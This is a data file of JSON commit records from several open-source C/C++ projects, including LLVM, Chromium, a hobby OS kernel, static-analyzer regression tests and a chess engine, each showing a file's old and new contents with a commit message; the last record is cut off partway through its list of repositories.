{"commit":"1be4ab681e086ec83e96d543d37e3474ef400282","old_file":"include\/llvm\/MC\/MCObjectFormat.h","new_file":"include\/llvm\/MC\/MCObjectFormat.h","old_contents":"\/\/===-- llvm\/MC\/MCObjectFormat.h - Object Format Info -----------*- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_MC_MCOBJECTFORMAT_H\n#define LLVM_MC_MCOBJECTFORMAT_H\n\nnamespace llvm {\nclass MCSymbol;\n\nclass MCObjectFormat {\npublic:\n  \/\/\/ isAbsolute - Check if A - B is an absolute value\n  \/\/\/\n  \/\/\/ \\param InSet - True if this expression is in a set. For example:\n  \/\/\/   a:\n  \/\/\/   ...\n  \/\/\/   b:\n  \/\/\/   tmp = a - b\n  \/\/\/       .long tmp\n  \/\/\/ \\param A - LHS\n  \/\/\/ \\param B - RHS\n  virtual bool isAbsolute(bool InSet, const MCSymbol &A,\n                          const MCSymbol &B) const = 0;\n};\n\nclass MCELFObjectFormat : public MCObjectFormat {\npublic:\n  virtual bool isAbsolute(bool InSet, const MCSymbol &A,\n                          const MCSymbol &B) const;\n};\n\nclass MCMachOObjectFormat : public MCObjectFormat {\npublic:\n  virtual bool isAbsolute(bool InSet, const MCSymbol &A,\n                          const MCSymbol &B) const;\n};\n\nclass MCCOFFObjectFormat : public MCObjectFormat {\npublic:\n  virtual bool isAbsolute(bool InSet, const MCSymbol &A,\n                          const MCSymbol &B) const;\n};\n\n}  \/\/ End llvm namespace\n\n#endif\n","new_contents":"\/\/===-- llvm\/MC\/MCObjectFormat.h - Object Format Info -----------*- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_MC_MCOBJECTFORMAT_H\n#define LLVM_MC_MCOBJECTFORMAT_H\n\nnamespace llvm {\nclass MCSymbol;\n\nclass MCObjectFormat {\npublic:\n  virtual ~MCObjectFormat() {}\n\n  \/\/\/ isAbsolute - Check if A - B is an absolute value\n  \/\/\/\n  \/\/\/ \\param InSet - True if this expression is in a set. For example:\n  \/\/\/   a:\n  \/\/\/   ...\n  \/\/\/   b:\n  \/\/\/   tmp = a - b\n  \/\/\/       .long tmp\n  \/\/\/ \\param A - LHS\n  \/\/\/ \\param B - RHS\n  virtual bool isAbsolute(bool InSet, const MCSymbol &A,\n                          const MCSymbol &B) const = 0;\n};\n\nclass MCELFObjectFormat : public MCObjectFormat {\npublic:\n  virtual bool isAbsolute(bool InSet, const MCSymbol &A,\n                          const MCSymbol &B) const;\n};\n\nclass MCMachOObjectFormat : public MCObjectFormat {\npublic:\n  virtual bool isAbsolute(bool InSet, const MCSymbol &A,\n                          const MCSymbol &B) const;\n};\n\nclass MCCOFFObjectFormat : public MCObjectFormat {\npublic:\n  virtual bool isAbsolute(bool InSet, const MCSymbol &A,\n                          const MCSymbol &B) const;\n};\n\n}  \/\/ End llvm namespace\n\n#endif\n","subject":"Add a virtual destructor to silence a GCC warning.","message":"Add a virtual destructor to silence a GCC warning.\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@116766 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/llvm,dslab-epfl\/asap,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,llvm-mirror\/llvm,dslab-epfl\/asap,llvm-mirror\/llvm,chubbymaggie\/asap,chubbymaggie\/asap,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,dslab-epfl\/asap,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,dslab-epfl\/asap,apple\/swift-llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,dslab-epfl\/asap,dslab-epfl\/asap,chubbymaggie\/asap"}
{"commit":"fe6eb2643bf697cd752a0d24b3e278dd42f16644","old_file":"WebHereTests\/WebHereTests.h","new_file":"WebHereTests\/WebHereTests.h","old_contents":"\/\/\n\/\/  WebHereTests.h\n\/\/  WebHereTests\n\/\/\n\/\/  Created by Rui D Lopes on 25\/03\/13.\n\/\/  Copyright (c) 2013 Rui D Lopes. All rights reserved.\n\/\/\n\n#import <Kiwi\/Kiwi.h>\n#import <Nocilla\/Nocilla.h>\n#import <OCLogTemplate\/OCLogTemplate.h>\n#import <WebHere\/WebHere.h>\n\n\/\/ Fixtures\n#import \"WHPerson.h\"\n#import \"WHAdmin.h\"\n#import \"WHUnmatchedPerson.h\"\n#import \"WHPersonQueryForm.h\"\n#import \"WHNSObject.h\"\n#import \"WHLoginForm.h\"\n\n","new_contents":"\/\/\n\/\/  WebHereTests.h\n\/\/  WebHereTests\n\/\/\n\/\/  Created by Rui D Lopes on 25\/03\/13.\n\/\/  Copyright (c) 2013 Rui D Lopes. All rights reserved.\n\/\/\n\n#import <SenTestingKit\/SenTestingKit.h>\n#import <Kiwi\/Kiwi.h>\n#import <Nocilla\/Nocilla.h>\n#import <OCLogTemplate\/OCLogTemplate.h>\n#import <WebHere\/WebHere.h>\n\n\/\/ Fixtures\n#import \"WHPerson.h\"\n#import \"WHAdmin.h\"\n#import \"WHUnmatchedPerson.h\"\n#import \"WHPersonQueryForm.h\"\n#import \"WHNSObject.h\"\n#import \"WHLoginForm.h\"\n\n#\tdefine LOGGING_ENABLED        1\n#\tdefine LOGGING_LEVEL_TRACE        0\n#\tdefine LOGGING_LEVEL_INFO        1\n#\tdefine LOGGING_LEVEL_ERROR        1\n#\tdefine LOGGING_LEVEL_DEBUG        1\n","subject":"Add SenTestingKit to test targets","message":"Add SenTestingKit to test targets\n","lang":"C","license":"mit","repos":"noughts\/WebHere,noughts\/WebHere,noughts\/WebHere,noughts\/WebHere,rdlopes\/WebHere,rdlopes\/WebHere,rdlopes\/WebHere"}
{"commit":"869d6873a53e90dafd702fd64a642849846b5c8c","old_file":"main.c","new_file":"main.c","old_contents":"#include <stdint.h>\n#include \"ports.h\"\n#include \"pic.h\"\n#include \"gdt.h\"\n#include \"idt.h\"\n#include \"irq.h\"\n#include \"screen.h\"\n\nvoid entry(void) {\n\tpic_remap(IRQ0, IRQ8);\n\tpic_set_masks(0, 0);\n\tidt_init((struct IDT *)(0x500));\n\n\tgdt_init((struct GDT *)(0x500 + sizeof(struct IDT)));\n\n\t__asm__ __volatile__ (\"sti\");\n\n\tscreen_init();\n\n\t__asm__ __volatile__ (\"int $0x50\");\n\tfor(;;) { __asm__ __volatile__ (\"hlt\"); }\n}\n","new_contents":"#include <stdint.h>\n#include \"ports.h\"\n#include \"pic.h\"\n#include \"gdt.h\"\n#include \"idt.h\"\n#include \"irq.h\"\n#include \"screen.h\"\n\nvoid entry(void) {\n\tstruct IDT *idt = (struct IDT *)0x500;\n\tstruct GDT *gdt = (struct GDT *)(0x500 + sizeof(struct GDT));\n\n\tpic_remap(IRQ0, IRQ8);\n\tpic_set_masks(0, 0);\n\tidt_init(idt);\n\t__asm__ __volatile__ (\"sti\");\n\tgdt_init(gdt);\n\tscreen_init();\n\n\t__asm__ __volatile__ (\"int $0x50\");\n\tfor(;;) { __asm__ __volatile__ (\"hlt\"); }\n}\n","subject":"Enable interrupts before initializing GDT","message":"Enable interrupts before initializing GDT\n","lang":"C","license":"apache-2.0","repos":"shockkolate\/shockk-os,shockkolate\/shockk-os,shockkolate\/shockk-os"}
{"commit":"6f39bf9df903d2c150f1e2590211a91e7277c748","old_file":"src\/libc4\/util\/mem.c","new_file":"src\/libc4\/util\/mem.c","old_contents":"#include <string.h>\n\n#include \"c4-internal.h\"\n\nvoid *\nol_alloc(apr_size_t sz)\n{\n    void *result = malloc(sz);\n    if (result == NULL)\n        FAIL();\n    return result;\n}\n\nvoid *\nol_alloc0(apr_size_t sz)\n{\n    void *result = ol_alloc(sz);\n    memset(result, 0, sz);\n    return result;\n}\n\nvoid *\nol_realloc(void *ptr, apr_size_t sz)\n{\n    void *result = realloc(ptr, sz);\n    if (result == NULL)\n        FAIL();\n    return result;\n}\n\nvoid\nol_free(void *ptr)\n{\n    free(ptr);\n}\n\nchar *\nol_strdup(const char *str)\n{\n    size_t len = strlen(str) + 1;\n    char *result;\n\n    result = ol_alloc(len);\n    memcpy(result, str, len);\n\n    return result;\n}\n\napr_pool_t *\nmake_subpool(apr_pool_t *parent)\n{\n    apr_status_t s;\n    apr_pool_t *pool;\n\n    s = apr_pool_create(&pool, parent);\n    if (s != APR_SUCCESS)\n        FAIL();\n\n    return pool;\n}\n","new_contents":"#include <string.h>\n\n#include \"c4-internal.h\"\n\nvoid *\nol_alloc(apr_size_t sz)\n{\n    void *result = malloc(sz);\n    if (result == NULL)\n        FAIL();\n    return result;\n}\n\nvoid *\nol_alloc0(apr_size_t sz)\n{\n    void *result = ol_alloc(sz);\n    memset(result, 0, sz);\n    return result;\n}\n\nvoid *\nol_realloc(void *ptr, apr_size_t sz)\n{\n    void *result = realloc(ptr, sz);\n    if (result == NULL)\n        FAIL();\n    return result;\n}\n\nvoid\nol_free(void *ptr)\n{\n    free(ptr);\n}\n\nchar *\nol_strdup(const char *str)\n{\n    size_t len = strlen(str) + 1;\n    char *result;\n\n    result = ol_alloc(len);\n    memcpy(result, str, len);\n\n    return result;\n}\n\napr_pool_t *\nmake_subpool(apr_pool_t *parent)\n{\n    apr_status_t s;\n    apr_pool_t *pool;\n\n    s = apr_pool_create(&pool, parent);\n    if (s != APR_SUCCESS)\n        FAIL_APR(s);\n\n    return pool;\n}\n","subject":"Use FAIL_APR() rather than FAIL() in create_subpool().","message":"Use FAIL_APR() rather than FAIL() in create_subpool().\n","lang":"C","license":"mit","repos":"bloom-lang\/c4,bloom-lang\/c4,bloom-lang\/c4"}
{"commit":"01251507d399d412494b6ee7aa5b6ad9c9b2537b","old_file":"test\/execute\/0013-struct5.c","new_file":"test\/execute\/0013-struct5.c","old_contents":"struct s1 {\n    int y;\n    int z;\n};\n\nstruct s2 {\n    struct s1 *p;\n};\n\nint main()\n{\n    struct s1 nested;\n    struct s2 v;\n    v.p = &nested;\n    v.p->y = 1;\n    v.p->z = 2;\n    if (nested.y != 1)\n        return 1;\n    if (nested.z != 2)\n        return 2;\n    return 0;\n}\n","new_contents":"struct T;\n\nstruct T {\n\tint x;\n};\n\nint\nmain()\n{\n\tstruct T v;\n\t{ struct T { int z; }; }\n\tv.x = 2;\n\tif(v.x != 2)\n\t\treturn 1;\n\treturn 0;\n}\n","subject":"Add test for simple partial structs.","message":"Add test for simple partial structs.\n","lang":"C","license":"bsd-2-clause","repos":"andrewchambers\/c,xtao\/c,andrewchambers\/c,xtao\/c"}
{"commit":"7dfa6fe40c6eaa68a46da7afb926e945be8c3cf3","old_file":"tests\/test.time3.c","new_file":"tests\/test.time3.c","old_contents":"#include <stdio.h>\n#include <sys\/types.h>\n#include <unistd.h>\n\nint64_t getTicks();\nvoid sleepFor(int64_t);\n\nint main(int argc, char **argv)\n{\n  int64_t a, b, c, delay;\n\n  delay = microsecondsToTicks(500000);\n  a = getTicks();\n  sleepFor(delay);\n  b = getTicks();\n  sleepFor(delay);\n  c = getTicks();\n\n  if(a + delay <= b)\n    printf(\"PASSED PART ONE\\n\");\n  else\n    printf(\"FAILED PART ONE (%lli + %lli > %lli)\\n\", a, delay, b);\n\n  if(b + delay <= c)\n    printf(\"PASSED PART TWO\\n\");\n  else\n    printf(\"FAILED PART TWO (%lli + %lli > %lli)\\n\", b, delay, c);\n}\n\n","new_contents":"#include <stdio.h>\n#include <sys\/types.h>\n#include <unistd.h>\n\nint64_t getTicks();\nvoid sleepFor(int64_t);\n\nint main(int argc, char **argv)\n{\n  int64_t a, b, c, delay;\n\n  delay = microsecondsToTicks(500000);\n  a = getTicks();\n  sleepFor(delay);\n  b = getTicks();\n  sleepFor(delay);\n  c = getTicks();\n\n  if(a + delay <= b)\n    printf(\"PASSED PART ONE\\n\");\n  else\n    printf(\"FAILED PART ONE (%lli + %lli > %lli)\\n\", a, delay, b);\n\n  if(b + delay <= c)\n    printf(\"PASSED PART TWO\\n\");\n  else\n    printf(\"FAILED PART TWO (%lli + %lli > %lli)\\n\", b, delay, c);\n\n  return 0;\n}\n\n","subject":"Fix the third time test.","message":"Fix the third time test.\n","lang":"C","license":"bsd-3-clause","repos":"elliottt\/llvm-threading"}
{"commit":"77c380c9d57553e114b253630dcb1283c7096730","old_file":"include\/iRRAM\/mpfr_extension.h","new_file":"include\/iRRAM\/mpfr_extension.h","old_contents":"\n#ifndef iRRAM_MPFR_EXTENSION_H\n#define iRRAM_MPFR_EXTENSION_H\n\n#ifndef GMP_RNDN \n#include <mpfr.h>\n#endif\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\nvoid mpfr_ext_exp (mpfr_ptr r, mpfr_srcptr u,int p);\nvoid mpfr_ext_log (mpfr_ptr r, mpfr_srcptr u,int p);\nvoid mpfr_ext_sin (mpfr_ptr r, mpfr_srcptr u,int p);\nvoid mpfr_ext_cos (mpfr_ptr r, mpfr_srcptr u,int p);\nvoid mpfr_ext_tan (mpfr_ptr r, mpfr_srcptr u,int p);\nvoid mpfr_ext_test (mpfr_ptr r, mpfr_srcptr u,int p,mp_rnd_t rnd_mode);\n\nvoid iRRAM_initialize(int argc,char **argv);\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif\n","new_contents":"\n#ifndef iRRAM_MPFR_EXTENSION_H\n#define iRRAM_MPFR_EXTENSION_H\n\n#ifndef GMP_RNDN \n#include <mpfr.h>\n#endif\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\nvoid mpfr_ext_exp (mpfr_ptr r, mpfr_srcptr u,int p);\nvoid mpfr_ext_log (mpfr_ptr r, mpfr_srcptr u,int p);\nvoid mpfr_ext_sin (mpfr_ptr r, mpfr_srcptr u,int p);\nvoid mpfr_ext_cos (mpfr_ptr r, mpfr_srcptr u,int p);\nvoid mpfr_ext_tan (mpfr_ptr r, mpfr_srcptr u,int p);\nvoid mpfr_ext_test (mpfr_ptr r, mpfr_srcptr u,int p,mp_rnd_t rnd_mode);\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif\n","subject":"Delete duplicate (and incompatible) declaration of iRRAM_initialize().","message":"Delete duplicate (and incompatible) declaration of iRRAM_initialize().\n","lang":"C","license":"lgpl-2.1","repos":"norbert-mueller\/iRRAM,norbert-mueller\/iRRAM,norbert-mueller\/iRRAM"}
{"commit":"41ca26bea02e69cdab85cc52756a47176ec83d80","old_file":"tests\/regression\/36-octapron\/11-traces-max-simple.c","new_file":"tests\/regression\/36-octapron\/11-traces-max-simple.c","old_contents":"\/\/ PARAM: --sets ana.activated[+] octApron\n#include <pthread.h>\n#include <assert.h>\n\nint g = 1;\npthread_mutex_t A = PTHREAD_MUTEX_INITIALIZER;\n\nvoid *t_fun(void *arg) {\n  pthread_mutex_lock(&A);\n  g = 2; \/\/ write something non-initial so base wouldn't find success\n  pthread_mutex_unlock(&A);\n  return NULL;\n}\n\nint main(void) {\n  int x, y;\n\n  pthread_t id;\n  pthread_create(&id, NULL, t_fun, NULL);\n\n  pthread_mutex_lock(&A);\n  x = g;\n  y = g;\n  assert(x == y);\n  pthread_mutex_unlock(&A);\n\n  \/\/ g = g - g - x;\n  return 0;\n}\n","new_contents":"\/\/ PARAM: --sets ana.activated[+] octApron\n#include <pthread.h>\n#include <assert.h>\n\nint g = 1;\npthread_mutex_t A = PTHREAD_MUTEX_INITIALIZER;\n\nvoid *t_fun(void *arg) {\n  pthread_mutex_lock(&A);\n  g = 2; \/\/ write something non-initial so base wouldn't find success\n  assert(g == 2);\n  pthread_mutex_unlock(&A);\n  return NULL;\n}\n\nint main(void) {\n  int x, y;\n\n  pthread_t id;\n  pthread_create(&id, NULL, t_fun, NULL);\n\n  pthread_mutex_lock(&A);\n  x = g;\n  y = g;\n  assert(x == y);\n  pthread_mutex_unlock(&A);\n\n  \/\/ g = g - g - x;\n  return 0;\n}\n","subject":"Add assert after global write in 36\/11","message":"Add assert after global write in 36\/11\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"7db5647afebc93b68d5f9b85f0b5fd4796bca28c","old_file":"tests\/regression\/39-signed-overflows\/02-intervals.c","new_file":"tests\/regression\/39-signed-overflows\/02-intervals.c","old_contents":"","new_contents":"\/\/ PARAM: --sets sem.int.signed_overflow assume_none --enable ana.int.interval --disable ana.int.def_exc\nint main(void) {\n    int x = 0;\n    while(x != 42) {\n        x++;\n        assert(x >= 1);\n    }\n\n}\n","subject":"Add example that only works with no overflow assumption","message":"Add example that only works with no overflow assumption\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"480b60ec75cd5c22424bb279f1685aa4df442ad5","old_file":"src\/uci.h","new_file":"src\/uci.h","old_contents":"#ifndef UCI_H\n#define UCI_H\n\n#include \"board.h\"\n#include \"cmove.h\"\n#include <sstream>\n#include <fstream>\n\nclass Uci {\npublic:\n  void start();\n\nprivate:\n  Board _board;\n  static const int DEFAULT_DEPTH = 4;\n  static const int DEFAULT_MAX_TIME = 5000;\n\n  void _uciNewGame();\n  void _setPosition(std::istringstream&);\n  void _go(std::istringstream&);\n  void _pickBestMove(int);\n};\n\n#endif\n","new_contents":"#ifndef UCI_H\n#define UCI_H\n\n#include \"board.h\"\n#include \"cmove.h\"\n#include <sstream>\n#include <fstream>\n\nclass Uci {\npublic:\n  void start();\n\nprivate:\n  Board _board;\n  static const int DEFAULT_DEPTH = 4;\n\n  void _uciNewGame();\n  void _setPosition(std::istringstream&);\n  void _go(std::istringstream&);\n  void _pickBestMove(int);\n};\n\n#endif\n","subject":"Remove old DEFAULT_MAX_TIME static var","message":"Remove old DEFAULT_MAX_TIME static var\n","lang":"C","license":"mit","repos":"GunshipPenguin\/shallow-blue,GunshipPenguin\/shallow-blue,GunshipPenguin\/shallow-blue,GunshipPenguin\/shallow-blue"}
{"commit":"9a02c49ad67f80d1a5839c8c1ab92f3d73e6fbfb","old_file":"content\/public\/browser\/devtools_frontend_window.h","new_file":"content\/public\/browser\/devtools_frontend_window.h","old_contents":"\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef CONTENT_PUBLIC_BROWSER_DEVTOOLS_FRONTEND_WINDOW_H_\n#define CONTENT_PUBLIC_BROWSER_DEVTOOLS_FRONTEND_WINDOW_H_\n#pragma once\n\nclass TabContents;\n\nnamespace content {\n\nclass DevToolsFrontendWindowDelegate;\n\n\/\/ Installs delegate for DevTools front-end loaded into |client_tab_contents|.\nvoid SetupDevToolsFrontendDelegate(\n    TabContents* client_tab_contents,\n    DevToolsFrontendWindowDelegate* delegate);\n\n}\n\n#endif  \/\/ CONTENT_PUBLIC_BROWSER_DEVTOOLS_FRONTEND_WINDOW_H_\n","new_contents":"\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef CONTENT_PUBLIC_BROWSER_DEVTOOLS_FRONTEND_WINDOW_H_\n#define CONTENT_PUBLIC_BROWSER_DEVTOOLS_FRONTEND_WINDOW_H_\n#pragma once\n\nclass TabContents;\n\nnamespace content {\n\nclass DevToolsFrontendWindowDelegate;\n\n\/\/ Installs delegate for DevTools front-end loaded into |client_tab_contents|.\nCONTENT_EXPORT void SetupDevToolsFrontendDelegate(\n    TabContents* client_tab_contents,\n    DevToolsFrontendWindowDelegate* delegate);\n\n}\n\n#endif  \/\/ CONTENT_PUBLIC_BROWSER_DEVTOOLS_FRONTEND_WINDOW_H_\n","subject":"Add missing CONTENT_EXPORT to fix Linux shared build after r112415","message":"Add missing CONTENT_EXPORT to fix Linux shared build after r112415\n\nBUG=104625\nTEST=None\nTBR=pfeldman\n\nReview URL: http:\/\/codereview.chromium.org\/8763022\n\ngit-svn-id: de016e52bd170d2d4f2344f9bf92d50478b649e0@112420 0039d316-1c4b-4281-b951-d872f2087c98\n","lang":"C","license":"bsd-3-clause","repos":"junmin-zhu\/chromium-rivertrail,timopulkkinen\/BubbleFish,chuan9\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,dushu1203\/chromium.src,PeterWangIntel\/chromium-crosswalk,robclark\/chromium,hgl888\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,ondra-novak\/chromium.src,mogoweb\/chromium-crosswalk,nacl-webkit\/chrome_deps,anirudhSK\/chromium,timopulkkinen\/BubbleFish,rogerwang\/chromium,nacl-webkit\/chrome_deps,fujunwei\/chromium-crosswalk,ondra-novak\/chromium.src,chuan9\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,hujiajie\/pa-chromium,robclark\/chromium,hgl888\/chromium-crosswalk,chuan9\/chromium-crosswalk,Just-D\/chromium-1,mogoweb\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,markYoungH\/chromium.src,keishi\/chromium,Pluto-tv\/chromium-crosswalk,markYoungH\/chromium.src,mohamed--abdel-maksoud\/chromium.src,nacl-webkit\/chrome_deps,Jonekee\/chromium.src,Pluto-tv\/chromium-crosswalk,zcbenz\/cefode-chromium,dednal\/chromium.src,dushu1203\/chromium.src,Just-D\/chromium-1,dednal\/chromium.src,junmin-zhu\/chromium-rivertrail,Chilledheart\/chromium,littlstar\/chromium.src,krieger-od\/nwjs_chromium.src,M4sse\/chromium.src,dednal\/chromium.src,anirudhSK\/chromium,ondra-novak\/chromium.src,rogerwang\/chromium,ondra-novak\/chromium.src,ChromiumWebApps\/chromium,Just-D\/chromium-1,krieger-od\/nwjs_chromium.src,dednal\/chromium.src,hujiajie\/pa-chromium,krieger-od\/nwjs_chromium.src,Jonekee\/chromium.src,pozdnyakov\/chromium-crosswalk,chuan9\/chromium-crosswalk,Just-D\/chromium-1,ChromiumWebApps\/chromium,junmin-zhu\/chromium-rivertrail,fujunwei\/chromium-crosswalk,zcbenz\/cefode-chromium,dednal\/chromium.src,mohamed--abdel-maksoud\/chromium.src,bright-sparks\/chromium-spacewalk,ltilve\/chromium,jaruba\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,axinging\/chromium-crosswalk,anirudhSK\/chromium,keishi\/chromium,timopulkkinen\/BubbleFish,Chilledheart\/chromium,pozdnyakov\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,zcbenz\/cefode-chromium,ltilve\/chromium,littlstar\/chromium.src,littlstar\/chromium.src,bright-sparks\/chromium-spacewalk,Chilledheart\/chromium,axinging\/chromium-crosswalk,markYoungH\/chromium.src,mohamed--abdel-maksoud\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,dushu1203\/chromium.src,chuan9\/chromium-crosswalk,keishi\/chromium,fujunwei\/chromium-crosswalk,M4sse\/chromium.src,littlstar\/chromium.src,timopulkkinen\/BubbleFish,ChromiumWebApps\/chromium,chuan9\/chromium-crosswalk,Jonekee\/chromium.src,mogoweb\/chromium-crosswalk,patrickm\/chromium.src,markYoungH\/chromium.src,junmin-zhu\/chromium-rivertrail,Just-D\/chromium-1,krieger-od\/nwjs_chromium.src,crosswalk-project\/chromium-crosswalk-efl,hgl888\/chromium-crosswalk-efl,Jonekee\/chromium.src,anirudhSK\/chromium,zcbenz\/cefode-chromium,fujunwei\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,nacl-webkit\/chrome_deps,timopulkkinen\/BubbleFish,mogoweb\/chromium-crosswalk,ChromiumWebApps\/chromium,anirudhSK\/chromium,krieger-od\/nwjs_chromium.src,robclark\/chromium,TheTypoMaster\/chromium-crosswalk,fujunwei\/chromium-crosswalk,ondra-novak\/chromium.src,zcbenz\/cefode-chromium,nacl-webkit\/chrome_deps,patrickm\/chromium.src,markYoungH\/chromium.src,mogoweb\/chromium-crosswalk,zcbenz\/cefode-chromium,fujunwei\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,PeterWangIntel\/chromium-crosswalk,hujiajie\/pa-chromium,patrickm\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,anirudhSK\/chromium,axinging\/chromium-crosswalk,zcbenz\/cefode-chromium,hgl888\/chromium-crosswalk-efl,ChromiumWebApps\/chromium,hgl888\/chromium-crosswalk-efl,hujiajie\/pa-chromium,keishi\/chromium,mogoweb\/chromium-crosswalk,robclark\/chromium,patrickm\/chromium.src,ondra-novak\/chromium.src,dednal\/chromium.src,dednal\/chromium.src,anirudhSK\/chromium,hgl888\/chromium-crosswalk-efl,jaruba\/chromium.src,Fireblend\/chromium-crosswalk,Chilledheart\/chromium,nacl-webkit\/chrome_deps,rogerwang\/chromium,keishi\/chromium,bright-sparks\/chromium-spacewalk,dushu1203\/chromium.src,Just-D\/chromium-1,Pluto-tv\/chromium-crosswalk,robclark\/chromium,mohamed--abdel-maksoud\/chromium.src,ondra-novak\/chromium.src,littlstar\/chromium.src,nacl-webkit\/chrome_deps,patrickm\/chromium.src,Jonekee\/chromium.src,anirudhSK\/chromium,Pluto-tv\/chromium-crosswalk,dushu1203\/chromium.src,M4sse\/chromium.src,Jonekee\/chromium.src,hujiajie\/pa-chromium,ChromiumWebApps\/chromium,crosswalk-project\/chromium-crosswalk-efl,zcbenz\/cefode-chromium,mogoweb\/chromium-crosswalk,hujiajie\/pa-chromium,rogerwang\/chromium,TheTypoMaster\/chromium-crosswalk,mogoweb\/chromium-crosswalk,jaruba\/chromium.src,ltilve\/chromium,Pluto-tv\/chromium-crosswalk,Just-D\/chromium-1,keishi\/chromium,mogoweb\/chromium-crosswalk,axinging\/chromium-crosswalk,Just-D\/chromium-1,mohamed--abdel-maksoud\/chromium.src,junmin-zhu\/chromium-rivertrail,fujunwei\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,rogerwang\/chromium,ondra-novak\/chromium.src,jaruba\/chromium.src,TheTypoMaster\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,Fireblend\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,PeterWangIntel\/chromium-crosswalk,ltilve\/chromium,rogerwang\/chromium,Fireblend\/chromium-crosswalk,hgl888\/chromium-crosswalk,Fireblend\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,bright-sparks\/chromium-spacewalk,littlstar\/chromium.src,chuan9\/chromium-crosswalk,dushu1203\/chromium.src,pozdnyakov\/chromium-crosswalk,timopulkkinen\/BubbleFish,nacl-webkit\/chrome_deps,hujiajie\/pa-chromium,M4sse\/chromium.src,dushu1203\/chromium.src,patrickm\/chromium.src,anirudhSK\/chromium,PeterWangIntel\/chromium-crosswalk,Chilledheart\/chromium,mohamed--abdel-maksoud\/chromium.src,pozdnyakov\/chromium-crosswalk,Chilledheart\/chromium,pozdnyakov\/chromium-crosswalk,robclark\/chromium,bright-sparks\/chromium-spacewalk,fujunwei\/chromium-crosswalk,ltilve\/chromium,M4sse\/chromium.src,TheTypoMaster\/chromium-crosswalk,M4sse\/chromium.src,TheTypoMaster\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,M4sse\/chromium.src,Fireblend\/chromium-crosswalk,dednal\/chromium.src,timopulkkinen\/BubbleFish,rogerwang\/chromium,timopulkkinen\/BubbleFish,dednal\/chromium.src,chuan9\/chromium-crosswalk,M4sse\/chromium.src,junmin-zhu\/chromium-rivertrail,hgl888\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,Jonekee\/chromium.src,ChromiumWebApps\/chromium,robclark\/chromium,bright-sparks\/chromium-spacewalk,markYoungH\/chromium.src,zcbenz\/cefode-chromium,pozdnyakov\/chromium-crosswalk,ChromiumWebApps\/chromium,rogerwang\/chromium,PeterWangIntel\/chromium-crosswalk,Fireblend\/chromium-crosswalk,Chilledheart\/chromium,ltilve\/chromium,ChromiumWebApps\/chromium,zcbenz\/cefode-chromium,anirudhSK\/chromium,nacl-webkit\/chrome_deps,ChromiumWebApps\/chromium,junmin-zhu\/chromium-rivertrail,ltilve\/chromium,keishi\/chromium,dednal\/chromium.src,hujiajie\/pa-chromium,hgl888\/chromium-crosswalk-efl,anirudhSK\/chromium,pozdnyakov\/chromium-crosswalk,ltilve\/chromium,Chilledheart\/chromium,markYoungH\/chromium.src,junmin-zhu\/chromium-rivertrail,Jonekee\/chromium.src,jaruba\/chromium.src,robclark\/chromium,rogerwang\/chromium,jaruba\/chromium.src,timopulkkinen\/BubbleFish,fujunwei\/chromium-crosswalk,anirudhSK\/chromium,hgl888\/chromium-crosswalk,jaruba\/chromium.src,nacl-webkit\/chrome_deps,M4sse\/chromium.src,hgl888\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,dednal\/chromium.src,M4sse\/chromium.src,bright-sparks\/chromium-spacewalk,Pluto-tv\/chromium-crosswalk,Fireblend\/chromium-crosswalk,M4sse\/chromium.src,jaruba\/chromium.src,ChromiumWebApps\/chromium,Jonekee\/chromium.src,pozdnyakov\/chromium-crosswalk,rogerwang\/chromium,du